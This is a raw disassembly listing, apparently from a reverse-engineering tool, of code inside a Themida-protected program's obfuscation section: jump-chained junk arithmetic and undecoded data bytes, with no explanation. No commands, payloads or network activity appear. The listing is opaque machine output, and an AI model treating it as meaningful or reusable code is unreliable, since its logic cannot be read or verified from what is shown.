		dd 390Dh, 240C8B5Eh, 8304C483h,	48704C0h, 4055C24h, 53000000h
		dd 2BBh, 0E9D80100h, 102Ah
; ---------------------------------------------------------------------------


loc_54CE24:				; CODE XREF: Themida_:0054DFBDj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 50DA722Eh
		shr	edx, 4
		or	edx, 5BD10639h
		shl	edx, 6
		add	edx, 8963144h
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_54F2CE
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 81598C6Ah, 580380E6h, 0C1E6D130h, 8BE906E6h,	80FFFFEEh
		dd 9FE9DDEEh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE6F:				; CODE XREF: Themida_:00547698j
		mov	eax, 69A45DA9h
		shr	eax, 1
		shr	eax, 7
		xor	eax, 16834EE6h
		dec	eax
		xor	eax, 5F2FCA88h
		add	ebp, eax
		pop	eax
		pop	esi
		push	eax
		jmp	loc_5475F6
; ---------------------------------------------------------------------------
		dw 58E9h
		dd 50FFFF96h, 927024B8h, 0DD8F761h, 7FE625D2h, 0E948D8F7h
		dd 17CFh, 0C7C6815Eh, 0E9564C69h, 5127h, 2EF81h, 3C870000h
		dd 429AE924h, 53550000h, 0CD0926BBh, 5BDD89FFh,	15DE901h
		dd 0D6BEE9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CED6:				; CODE XREF: Themida_:0054A2BEj
		pop	edi
		add	esp, 4
		sub	edi, 1
		sub	edi, 4B660D80h
		jmp	loc_547813
; ---------------------------------------------------------------------------


loc_54CEEB:				; CODE XREF: Themida_:00551256j
		mov	[esp], esi
		push	ebx
		pop	esi
		jmp	loc_54AA4B
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 25h
		dd 48E9FE00h, 53000016h, 7F23C4BBh, 9FC38131h, 816ADD26h
		dd 7AE826C3h, 0A28E9DDh
		db 2 dup(0)
word_54CF16	dw 32FFh		; DATA XREF: Themida_:005463C8o
		dd 0FF95CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CF1D:				; CODE XREF: Themida_:0054DCBBj
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		push	esi
		add	dword ptr [esp], 7651599Ch
		jmp	loc_54D429
; ---------------------------------------------------------------------------
		dd 148B7104h, 5B545324h, 56D2E9h, 4C58100h, 81000000h
		dd 4C5h, 242C8700h, 0E389535Ch,	4C381h,	0EB830000h, 74FF5304h
		dd 8F5B0424h, 895C2404h, 0ABE9240Ch, 0BD000009h, 16576A7Ah
		dd 48B4ED81h, 0ECE94854h, 81000050h, 4C6h, 0ADE9E900h
		dd 0C781FFFFh, 4, 8704C783h, 535C243Ch,	0C381E389h, 4
		dd 8904EC83h, 4BE2434h,	1000000h, 24348BF3h, 271EE9h, 6ABA5200h
		dd 0B8129319h, 670660BEh, 0D5AD031h, 1F5B1E2Ah,	96EBE956h
		dd 815AFFFFh, 4C2h, 2685000h, 58000000h, 18E9C201h, 5B000034h
		dd 68A368h, 241C8900h, 8E35FCBBh, 0BCB814Ch, 0F77D701Fh
		dd 0CC9EE9D3h, 0E180FFFFh, 0A79CE9A5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D002:				; CODE XREF: Themida_:00548C41j
		mov	ebp, 2BBC0B7Eh
		neg	ebp
		shl	ebp, 8
		and	ebp, 0E3E5987h
		sub	ebp, 585370C7h
		add	eax, ebp
		pop	ebp
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		jmp	loc_547893
; ---------------------------------------------------------------------------
		dw 0CD29h
		dd 31F8E9h, 5F00100h, 6FEE22C6h, 2BE565Eh, 5000000h, 6C143186h
		dd 862DF001h, 8B6C1431h, 0C4832434h, 24043304h,	33240431h
		dd 248B2404h, 0C8B6624h, 4EC8124h, 89000000h, 58542404h
		dd 405h, 6CA96800h, 34890000h, 214CBE24h, 0E6C1782Ah, 79F68104h
		dd 0F777CD52h, 79E681DEh, 81200810h, 103FEEh, 0F3BF5700h
		dd 1075550h, 243C8BF8h,	104C483h, 0F3BE56F0h, 2D075550h
		dd 4DED7EDFh, 0FFFA4CE9h, 58E788FFh, 0FD309CB5h, 0FFE61AE9h
		dd 72F181FFh, 0E9F9E6C8h, 2860h, 0DCED8145h, 1DC12F7h
		dd 242C8BEFh, 5757E9h, 79E30500h, 4EE90AD4h, 0BB000031h
		dd 3C728E2h, 2A14BF57h,	0FB092F21h, 2A35E95Fh, 0C890000h
		dd 0E9F9B524h, 0FFFFB01Eh, 5BDF3158h, 43ADF781h, 2CE98876h
		dd 8000000Dh, 0E950AFCDh, 3AD9h, 5B2434FFh, 0E904C483h
		dd 0FFFF93BFh
; ---------------------------------------------------------------------------


loc_54D12C:				; CODE XREF: Themida_:0054F0E5j
		pop	esi
		jmp	loc_548343
; ---------------------------------------------------------------------------


loc_54D132:				; CODE XREF: Themida_:00547883j
		add	eax, 8BBB8933h
		jmp	loc_54D59D
; ---------------------------------------------------------------------------


loc_54D13C:				; CODE XREF: Themida_:0054BE1Fj
		push	57C97129h
		pop	edx
		push	ecx
		mov	ecx, 75420F4Fh
		jmp	loc_55125B
; ---------------------------------------------------------------------------


loc_54D14D:				; CODE XREF: Themida_:005521E5j
		sub	ecx, 0D4945BC2h
		xor	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_549E42
; ---------------------------------------------------------------------------


loc_54D16F:				; CODE XREF: Themida_:0054AD33j
		shl	ecx, 6
		xor	ecx, 88282704h
		add	eax, 5B163630h
		add	eax, ecx
		sub	eax, 5B163630h
		pop	ecx
		add	eax, 4
		jmp	loc_54E7BC
; ---------------------------------------------------------------------------
aFxcs		db '╫ыfЕCИ',0
aT_0		db 'T',0
		dd 14895C00h, 0E99C5024h, 0FFFF9347h, 0E2BB3BBh, 5BD88934h
		dd 0E959C831h, 2EF0h, 8933EA2Dh, 5D80150h, 508933EAh, 81241C8Bh
		dd 4C4h, 0C3315A00h, 0E930FF66h, 0FFFF9317h, 4FAC68h, 24148900h
		dd 66E6B151h, 30F7B450h, 0BD94E9E1h, 0BB53FFFFh, 4, 3111BE56h
		dd 0DEF751DAh, 0F7DE8746h, 81DE87D3h, 11283BE6h, 0C277E958h
		db 2 dup(0FFh)
word_54D20A	dw 77FFh		; DATA XREF: Themida_:00546284o
		dd 4A6BE91Ch
		db 2 dup(0)
aM0Fsski	db '╛0ьfSИkI',0         ; DATA XREF: Themida_:005462E8o
		align 4
		dd 0FF92CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D221:				; CODE XREF: Themida_:0054664Fj
		push	eax
		mov	eax, 1
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 45A33A41h
		mov	ecx, 0FB5628C4h
		jmp	loc_546C82
; ---------------------------------------------------------------------------


loc_54D240:				; CODE XREF: Themida_:00552384j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4139h
		mov	[esp], ebx
		push	eax
		mov	eax, 2925256Ah
		mov	ebx, eax
		pop	eax
		add	dword ptr [esp+4], 441E2776h
		sub	dword ptr [esp+4], 1BDD2759h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 1BDD2759h
		sub	dword ptr [esp+4], 441E2776h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54EC23
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 0B2B7E924h, 6857FFFFh
		dd 4, 0F3ED815Fh, 16BD245h, 0F3C581FDh,	8B6BD245h, 9CE9243Ch
		dd 0BB000000h, 4, 0FFDE4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D2D1:				; CODE XREF: Themida_:005497ECj
		add	dword ptr [esp], 7EA01494h
		pop	eax
		jmp	loc_54E6E3
; ---------------------------------------------------------------------------
word_54D2DE	dw 31ADh		; DATA XREF: Themida_:00546374o
		dd 0E08950D8h, 405h, 42D00h, 0A8E90000h
		db 0B5h, 2 dup(0FFh)
byte_54D2F3	db 0ADh			; DATA XREF: Themida_:00546344o
		dd 81E78957h, 4C7h, 0B836E900h,	3433FFFFh, 24248B24h, 592434FFh
		dd 81E18951h, 4C1h, 5A36800h, 14890000h, 47B2BA24h, 0C2833CC9h
		dd 68E281FFh, 8112C606h, 0F31243C2h, 8ABE5631h,	8113517Dh
		dd 6D1A75C6h, 0E9D6F77Dh, 2965h, 0FF91A2E9h, 24248BFFh
		dd 4BB0F66h, 43E99C24h,	83FFFFC4h, 48F04C4h, 66E95C24h
		dd 8100002Ah, 4C4h, 98B95100h, 0F70EBE69h, 0C4EDE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D376:				; CODE XREF: Themida_:0054B851j
		pop	eax
		mov	eax, ebp
		pop	ebp
		xor	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_546F8B
; ---------------------------------------------------------------------------


loc_54D386:				; CODE XREF: Themida_:0054AE3Ej
		sub	ecx, 2B1852F5h
		sub	ecx, 933D0688h
		add	edi, 3DD8336Ah
		add	edi, ecx
		sub	edi, 3DD8336Ah
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551666
; ---------------------------------------------------------------------------


loc_54D3AA:				; CODE XREF: Themida_:00550790j
		add	edi, edx
		pop	edx
		push	ebx
		jmp	loc_550721
; ---------------------------------------------------------------------------


loc_54D3B3:				; CODE XREF: Themida_:00549A8Cj
		mov	edi, 1Ch
		mov	edx, edi
		pop	edi
		add	edx, 2A8D2851h
		sub	edx, 46482254h
		add	edx, edi
		add	edx, 46482254h
		sub	edx, 2A8D2851h
		push	dword ptr [edx]
		sub	dword ptr [esp], 3D761BBAh
		jmp	loc_54BE9C
; ---------------------------------------------------------------------------
		db 59h
		dd 0D000AB04h, 148BAB2Ch, 4C48124h, 0E9000000h,	0FFFF915Ch
		dd 4244429h, 0ADE95858h
		db 0EFh, 2 dup(0FFh)
byte_54D403	db 0FFh			; DATA XREF: Themida_:005463E0o
		dd 34FF2434h, 89505924h, 405E0h, 0E9520000h, 0FFFFDA9Fh
; ---------------------------------------------------------------------------


loc_54D418:				; CODE XREF: Themida_:0054A77Cj
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0FFD9FD63h
		jmp	loc_54DD51
; ---------------------------------------------------------------------------


loc_54D429:				; CODE XREF: Themida_:0054CF2Bj
		pop	ebx
		sub	ebx, 7651599Ch
		pop	esi
		jmp	loc_54C655
; ---------------------------------------------------------------------------
		dw 0FD88h
		dd 44FBE95Bh, 0EA810000h, 16DD22B2h, 2414875Eh,	0E924248Bh
		dd 0FFFFBE41h, 6D8A6866h, 24148966h, 0E99C5066h, 0FFFF908Bh
; ---------------------------------------------------------------------------


loc_54D460:				; CODE XREF: Themida_:0054EC2Cj
		add	edx, 4
		jmp	loc_5498AB
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC6h, 56EE81FFh, 0E9EBDCF0h, 0E59h, 0B60F66h
		dd 1FDC6866h, 24048966h, 0FF905EE9h, 39C680FFh,	8B66F030h
		dd 4AE92414h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D49B:				; CODE XREF: Themida_:0054B6F8j
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		jmp	loc_54D9C4
; ---------------------------------------------------------------------------


loc_54D4A6:				; CODE XREF: Themida_:0054E002j
		mov	esi, ebx
		pop	ebx
		shl	esi, 1
		shr	esi, 8
		xor	esi, 2CDFD2BAh
		add	ebx, esi
		pop	esi
		sub	ebx, esi
		sub	ebx, 2CC908EEh
		pop	esi
		pop	dword ptr [eax]
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0C7CAD6D3h, 8158C131h, 989FA0C1h, 59CE2103h,	8EC6814Eh
		dd 0E9629579h, 0FFFFC236h, 0BB53E689h, 677A6A85h, 6A81EB81h
		dd 2E9677Ah, 5F000032h,	7CE1BF57h, 22E96217h, 8100004Ch
		dd 842B88C7h, 0CBF7811Ch, 296CE027h, 0F3815FFBh, 32E85214h
		dd 34FFD831h, 89565B24h, 3EEAE9E6h, 0C890000h, 720AB924h
		dd 0E9830BE7h, 6E1C101h, 62D0C181h, 0C1811BABh,	1FA54E72h
		dd 1AE98149h, 0E92289BCh, 13BAh
dword_54D54C	dd 24048B66h, 52E68956h, 9D59B8BAh, 8E2C113h, 5102EAC1h
					; DATA XREF: Themida_:005462E0o
		dd 0FA06C6B9h, 7E9C137h, 91D0F791h, 0FFFFE981h,	75E9FFFFh
		dd 0BFFFFFF2h, 4, 0E95FF801h, 0FFFFAB73h, 0C8BC828h, 4C48124h
		dd 80000000h, 39E982EBh, 55FFFFE5h, 4F75E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D59D:				; CODE XREF: Themida_:0054D137j
		add	esi, eax
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_546C89
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4830000h, 19326804h, 0DAE90000h, 8900002Dh
		dd 7FE9242Ch, 5FFFFE1h,	4, 3302C083h, 8CE92404h, 0FFFFFFBDh
		dd 79E92434h, 0FF000026h, 0A1E92434h, 89FFFF8Fh, 0E2B951E0h
		dd 815AA760h, 589F22C1h, 235005A5h, 0C80144ECh,	2350BE56h
		dd 0F02944ECh, 0FFF7EBE9h, 81EE01FFh, 9084FEEh,	0C7EE814Eh
		dd 5D564C69h, 515EF031h, 0FFE632E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D631:				; CODE XREF: Themida_:0054A8A1j
		pop	dword ptr [esp]
		jmp	loc_5484A5
; ---------------------------------------------------------------------------


loc_54D639:				; CODE XREF: Themida_:00548E34j
		mov	eax, 11391725h
		sub	eax, 11391721h
		mov	ebx, eax
		pop	eax
		jmp	loc_548C8B
; ---------------------------------------------------------------------------
		db 89h
		dd 2BB241Ch, 0E9000000h, 212Fh,	0E9ECC580h, 28D9h, 83E9FA30h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D667:				; CODE XREF: Themida_:0054E814j
		pop	edx
		neg	ebx
		shr	ebx, 7
		sub	ebx, 8808FBC4h
		jmp	loc_5495E0
; ---------------------------------------------------------------------------
		dd 6A5868h, 24348900h, 42474FFh, 1793E9h, 6D7BF00h, 0C4E936FAh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D693:				; CODE XREF: Themida_:00549D1Fj
		add	ecx, edi
		xor	edx, [ecx]
		pop	ecx
		push	eax
		push	edi
		push	1BC63816h
		pop	edi
		and	edi, 42120526h
		jmp	loc_54790E
; ---------------------------------------------------------------------------


loc_54D6AB:				; CODE XREF: Themida_:0054D9D1j
		pop	eax
		pop	ebx
		xor	eax, esi
		jmp	loc_54FCA3
; ---------------------------------------------------------------------------
		dd 81664966h, 663E6FF1h, 0BE7FF181h, 59C80166h,	2EEE8166h
		dd 0C629664Ah, 2EC68166h, 2966584Ah, 0F4D3E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D6DA:				; CODE XREF: Themida_:00548A90j
		mov	ebp, 71611F01h
		sub	ebp, 637408A3h
		neg	ebp
		and	ebp, 23C03E02h
		add	ebp, 0DDFFD802h
		add	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551118
; ---------------------------------------------------------------------------
		dd 0D3F7935Fh, 20E1E993h, 17BE0000h, 0E904DF7Ch, 0FFFF9BDAh
		dd 3ACBC381h, 0EB815D1Dh, 14530322h, 6AF5C381h,	0C3016B06h
		dd 40A8E9h, 51F68100h, 0E9FF3F1Ch, 0C0Dh, 0E924248Bh, 0FFFF8D9Fh
		dd 68665E66h, 89662C9Fh, 6866241Ch, 8B661561h, 0E955241Ch
		dd 0FFFFCDBAh
dword_54D764	dd 957CE9ADh		; DATA XREF: Themida_:00546224o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D76A:				; CODE XREF: Themida_:0054F036j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54F4BF
; ---------------------------------------------------------------------------


loc_54D778:				; CODE XREF: Themida_:0054675Ej
		push	ebx
		mov	ebx, 785C23D2h
		add	ebx, 23F73F31h
		xor	ebx, 78CD5423h
		jmp	loc_54E642
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0EDDEC581h, 0EA890E52h, 8BD6895Dh, 0C4812414h, 4, 0CE9E6D1h
		dd 81000013h, 5A6E87F6h, 9C49E93Fh, 30E9FFFFh, 0B1FFFF8Dh
		dd 66CB0087h, 0AC9FE959h, 815AFFFFh, 0AB06C7F5h, 5BC58137h
		dd 81D79BE7h, 0D76453C6h, 81EE0116h, 0D76453EEh, 34875D16h
		dd 0E3685C24h, 89000053h, 89532434h, 0E9DE89FBh, 0FFFFAFFBh
		dd 2BC7F681h, 0F6816F17h, 0B5CE90B6h, 0BB53D6F7h, 6E4C6512h
		dd 0DCEC381h, 51E92F90h, 83FFFFD2h, 348904ECh, 44E1BE24h
		dd 814625FBh, 0CB2820F6h, 0B3E68112h, 46072331h, 467FE681h
		dd 0BB5353F4h, 4F4F1A1Fh, 315BDE01h, 0B70FE9F5h
		db 2 dup(0FFh)
word_54D846	dw 8B66h		; DATA XREF: Themida_:005462E4o
		dd 0FE68240Ch, 0E9000006h, 0FFFFE663h
dword_54D854	dd 582434FFh, 348B5456h, 4C48324h, 17F1E950h, 0E95F0000h
					; DATA XREF: Themida_:0054629Co
		dd 182h
; ---------------------------------------------------------------------------


loc_54D86C:				; CODE XREF: Themida_:0054E4CAj
		mov	edi, [esp]
		add	esp, 4
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	esi
		sub	dword ptr [esp], 212C6CBBh
		pop	edi
		add	edi, 212C6CBBh
		mov	eax, edi
		pop	edi
		pop	esi
		push	0F32h
		mov	[esp], esi
		mov	esi, 6F73C9h
		shr	esi, 6
		jmp	loc_550A15
; ---------------------------------------------------------------------------


loc_54D8A6:				; CODE XREF: Themida_:00549E4Bj
		mov	esi, 64AE1514h
		add	edx, 5DDC4AE0h
		sub	edx, esi
		sub	edx, 5DDC4AE0h
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		pop	edx
		jmp	loc_54E263
; ---------------------------------------------------------------------------
		db 1, 0CEh, 59h
		dd 0FF947CE9h, 243431FFh, 5C243433h, 0E9F9F766h, 0FFFFB9AEh
		dd 0E959CE09h, 0FFFFA0DAh
; ---------------------------------------------------------------------------


loc_54D8F8:				; CODE XREF: Themida_:0054BEC2j
		push	esp
		pop	eax
		jmp	loc_54AD20
; ---------------------------------------------------------------------------


loc_54D8FF:				; CODE XREF: Themida_:00548C2Ej
		sub	edx, 0F1F5C4E9h
		mov	eax, edx
		pop	edx
		push	0
		sub	[esp], eax
		pop	eax
		jmp	loc_54F854
; ---------------------------------------------------------------------------
		dw 2BB9h
		dd 81362B3Ch, 0A2425CC9h, 6B68416Bh, 89000006h,	0C4BE2434h
		dd 4E0D3C0Fh, 1086E681h, 0E6C17DD1h, 0E122E904h, 0D989FFFFh
		dd 59CA295Bh, 278DE9h, 4B95100h, 1000000h, 240C8BCEh, 2FE6E9h
		dd 37F48000h, 0FFE9B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D961:				; CODE XREF: Themida_:0054AB8Fj
		add	[esp+8], eax
		jmp	loc_551244
; ---------------------------------------------------------------------------


loc_54D96A:				; CODE XREF: Themida_:0054F396j
		pop	eax
		xor	ebp, esi
		jmp	loc_549A26
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 18E95EF1h, 0BAFFFFF9h, 355E0969h, 8105EAC1h,	0AF4D47CAh
		dd 37EA8124h, 56709D38h, 8C0D8BBEh, 5EF22910h, 4877BD55h
		dd 0EA015B79h, 0FFB3F6E9h, 4EC83FFh, 0B8240489h, 662E2AADh
		dd 4799E9h, 0DEDCB900h,	0D901FEC6h, 0E9D9F75Bh,	0FFFFD0FAh
; ---------------------------------------------------------------------------


loc_54D9C4:				; CODE XREF: Themida_:0054D4A1j
		mov	eax, [esp]
		jmp	loc_55119F
; ---------------------------------------------------------------------------


loc_54D9CC:				; CODE XREF: Themida_:005504A6j
		mov	edi, eax
		mov	esi, edi
		pop	edi
		jmp	loc_54D6AB
; ---------------------------------------------------------------------------


loc_54D9D6:				; CODE XREF: Themida_:005495EAj
		mov	esi, 0FFFFFFFFh
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_546729
; ---------------------------------------------------------------------------
		dd 538E958h, 0B9510000h, 32617053h, 7E9C141h, 77C181h
		dd 0C1413AA5h, 0F18102E9h, 0EC270D2h, 4772E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DA0D:				; CODE XREF: Themida_:00550755j
		add	edi, ebx
		pop	ebx
		jmp	loc_551B70
; ---------------------------------------------------------------------------
		db 53h,	50h, 0B8h
		dd 2D0A4E00h, 56585B50h, 0A737BCBEh, 5EF33152h,	1EB81h
		dd 0BD550000h, 65011410h, 815DEB21h, 1100EEBh, 5BDD0165h
		dd 7EDE68h, 242C8900h, 42474FFh, 24048F5Dh, 6624248Bh
		dd 8324048Bh, 3C8904ECh, 4EC8324h, 81242489h, 42404h, 3C8B0000h
		dd 4C48324h, 4C781h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A7D5
; ---------------------------------------------------------------------------


loc_54DA7E:				; CODE XREF: Themida_:005486A9j
		xor	eax, 30916D4h
		add	ebx, eax
		pop	eax
		jmp	loc_54B50D
; ---------------------------------------------------------------------------


loc_54DA8B:				; CODE XREF: Themida_:00548B68j
		or	eax, 2D282048h
		or	eax, 65C42994h
		shr	eax, 1
		push	ecx
		jmp	loc_54F6D5
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0E9h
		dd 31BDh
; ---------------------------------------------------------------------------


loc_54DAA4:				; CODE XREF: Themida_:00547789j
		sub	ecx, 1415FBE4h
		jmp	loc_5520B2
; ---------------------------------------------------------------------------


loc_54DAAF:				; CODE XREF: Themida_:0054A8B8j
		push	edx
		mov	edx, esp
		jmp	loc_548504
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8A2Fh, 0B951E829h, 2DA63134h, 0F707E9C1h, 0E9E1D1D9h
		dd 0FFFFC2B2h
dword_54DAD0	dd 24048B66h, 4EC8156h,	89000000h, 4812424h, 424h, 2434FF00h
					; DATA XREF: Themida_:005463E8o
		dd 0E924348Bh, 0EE6h, 4BE56h, 0F7010000h, 60BE565Eh, 0C13BBF56h
		dd 0D6F704E6h, 2E25E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DB09:				; CODE XREF: Themida_:00548EACj
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55167A
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 7E1C020h, 0C003E1C0h, 23E903E9h, 58FFFFB1h, 0BD2E9h
		db 0
byte_54DB31	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546464o
		dd 0E7895724h, 0C3BF5753h, 0E90F2057h, 37B3h, 651EEB81h
		dd 20E927A6h, 89FFFFE5h, 4C781E7h, 0E9000000h, 0FFFFB3A3h
; ---------------------------------------------------------------------------


loc_54DB5C:				; CODE XREF: Themida_:00546E98j
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	ebx
		mov	ebx, esp
		jmp	loc_548B4C
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 6
		dd 0EEC1DEF7h, 4C68106h, 81FC1A37h, 86102DEDh, 81F5010Ch
		dd 86102DC5h, 2C875E0Ch, 4295C24h, 54E99C24h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB97:				; CODE XREF: Themida_:00550FE5j
		add	esp, 4
		pop	ebx
		push	eax
		mov	eax, 37897509h
		xor	ebx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54F217
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 70h
		dd 89668A30h, 0BE959CBh
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DBC3:				; CODE XREF: Themida_:0054A99Bj
		sub	edx, 4A072EC8h
		sub	edx, 51C02DAh
		add	edx, ebx
		add	edx, 51C02DAh
		add	edx, 4A072EC8h
		mov	ecx, [edx]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		jmp	loc_550871
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B40E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DC0D:				; CODE XREF: Themida_:0054E89Cj
		pop	eax
		add	ebx, ecx
		sub	ebx, 11BA3B76h
		jmp	loc_54A67E
; ---------------------------------------------------------------------------
byte_54DC1B	db 0FFh			; DATA XREF: Themida_:005463BCo
		dd 34FF2434h, 24148B24h, 43C3E9h, 0F9F58000h, 0E5C0D5F6h
		dd 3CC58002h, 0E95CEB80h, 3EEh,	1D7368h, 240C8900h, 0C5FED1B5h
		dd 32026866h, 24048966h, 53E9E5B0h, 0E9000002h,	0FFFF888Fh
		dd 4D5EF529h, 8104EDC1h, 0C1CB7BEDh, 0E9EE0101h, 0FFFFDA5Eh
		dd 0BA665266h, 0E9B949h, 56FFFFB1h, 0F35A8BEh, 0FFD6E91Ch
		dd 0BE56FFFFh, 3B00B14h, 0EC81DEF7h, 4,	0E9243C89h, 3AA2h
; ---------------------------------------------------------------------------


loc_54DC9C:				; CODE XREF: Themida_:00546CA3j
		mov	eax, 6AEB4031h
		xor	edx, eax
		jmp	loc_55152A
; ---------------------------------------------------------------------------


loc_54DCA8:				; CODE XREF: Themida_:005489D0j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_54867F
		push	ebx
		push	edi
		mov	edi, 16101E76h
		push	esi
		jmp	loc_54CF1D
; ---------------------------------------------------------------------------


loc_54DCC0:				; CODE XREF: Themida_:0054E925j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548F75
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 5C241C87h, 5C240487h, 240C8B66h, 4EC81h, 0C890000h
		dd 81E18924h, 4C1h, 4E98300h, 8B240C87h, 0C892424h, 0C8B5424h
		dd 4C48324h, 4A7BF57h, 0BE560670h, 0
		dd 0F787FE29h, 55EF815Eh, 1F98FFBh, 0C1835FF9h,	240C3302h
		dd 33240C31h, 248B240Ch, 9CC13824h, 0FF87B6E9h,	24248BFFh
		dd 2489E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DD3D:				; CODE XREF: Themida_:0054E608j
		mov	ecx, esp
		jmp	loc_54968B
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF30100h, 0B72E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DD51:				; CODE XREF: Themida_:0054D424j
		mov	edx, edi
		pop	edi
		jmp	loc_5476EA
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
aZHT		db '┤,$\h(t',0
		dd 24148900h, 0F300B6B6h, 87EB805Ah, 0A0E9C328h
		db 13h,	2 dup(0)
byte_54DD77	db 0FFh			; DATA XREF: Themida_:00546468o
		dd 38E94077h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DD7F:				; CODE XREF: Themida_:00549583j
		mov	[esp], eax
		mov	eax, 0DD05D9Dh
		inc	eax
		shl	eax, 8
		not	eax
		xor	eax, 1EBC37E8h
		sub	eax, 351E6618h
		push	ebp
		mov	ebp, 14E573D6h
		add	esi, ebp
		jmp	loc_54B97F
; ---------------------------------------------------------------------------


loc_54DDA4:				; CODE XREF: Themida_:0054F9E5j
		pop	ebx
		add	esi, 6C6D31EAh
		jmp	loc_54E035
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2424D3h, 0FF872EE9h, 7E8C1FFh, 508E0C1h
		dd 3BAA0985h, 740F8805h, 57532576h, 2B050F97h, 317391BFh
		dd 0A3E958C6h, 5000027h, 463431EDh, 0ED2DC801h,	59463431h
		dd 116768h, 24048900h, 42474FFh, 573E9h, 8BE98900h, 8950242Ch
		dd 405E0h, 4050000h, 87000000h,	5F5C2404h, 8108E1C1h, 0B37379E9h
		dd 8BC8316Dh, 0C483240Ch, 0EEC38104h, 812CFC01h, 78192AC3h
		dd 81C3013Ch, 78192AEBh, 4716683Ch, 2DE90000h, 57000022h
		dd 0FD7F16BFh, 91E5E958h, 875BFFFFh, 0D25C2404h, 0E99C243Ch
		dd 0FFFF868Fh, 8BFB2966h, 0C483243Ch, 0C3816604h, 0B70F2BBCh
		dd 0E78957C0h, 4C781h, 0EF810000h, 4, 0E9243C87h, 2373h
		dd 1CE9FE21h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DE8B:				; CODE XREF: Themida_:0054905Dj
		xor	eax, [esp]
		jmp	loc_54ECA7
